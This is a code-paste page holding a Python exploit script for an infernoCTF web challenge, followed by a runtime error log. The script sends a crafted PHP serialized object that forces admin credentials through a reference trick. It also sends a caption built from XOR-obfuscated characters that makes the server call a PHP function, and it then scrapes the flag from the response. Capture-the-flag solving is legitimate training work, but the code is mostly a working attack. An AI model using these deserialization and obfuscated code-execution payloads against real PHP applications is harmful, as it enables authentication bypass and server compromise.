fork download
  1. #!/usr/bin/python3
  2.  
  3. from requests import get
  4. from bs4 import BeautifulSoup as BS
  5. from re import search
  6.  
  7. host = "http://104.197.168.32:17010/"
  8. flag = "infernoCTF{.*?}"
  9.  
  10. def make_letters(result):
  11. chars = [ord(c) for c in "!@$%^&*()_-+={}[]:/?|.>,<"]
  12. result = [ord(c) for c in result]
  13. c1s = []
  14. c2s = []
  15.  
  16. for r in result:
  17. found = False
  18.  
  19. for c1 in chars:
  20. for c2 in chars:
  21. if c1 ^ c2 == r:
  22. c1s.append(chr(c1))
  23. c2s.append(chr(c2))
  24. found = True
  25. break
  26.  
  27. if found:
  28. break
  29.  
  30. return "\"{}\"^\"{}\"".format(''.join(c1s), ''.join(c2s))
  31.  
  32. def main():
  33. global flag
  34.  
  35. caption = "$_=" + make_letters("echoFlag") + ";$_();"
  36. data = {
  37. "id": 'O:4:"user":3:{s:4:"name";s:5:"admin";s:4:"pass";N;s:6:"secret";R:3;}',
  38. "caption": caption
  39. }
  40.  
  41. response = get(host, params=data)
  42. soup = BS(response.content, "lxml")
  43. flag = search(flag, soup.text).group()
  44. print(flag)
  45.  
  46. if __name__ == "__main__":
  47. main()
Runtime error #stdin #stdout #stderr 0.4s 34372KB
stdin
Standard input is empty
stdout
Standard output is empty
stderr
Traceback (most recent call last):
  File "./prog.py", line 4, in <module>
ModuleNotFoundError: No module named 'bs4'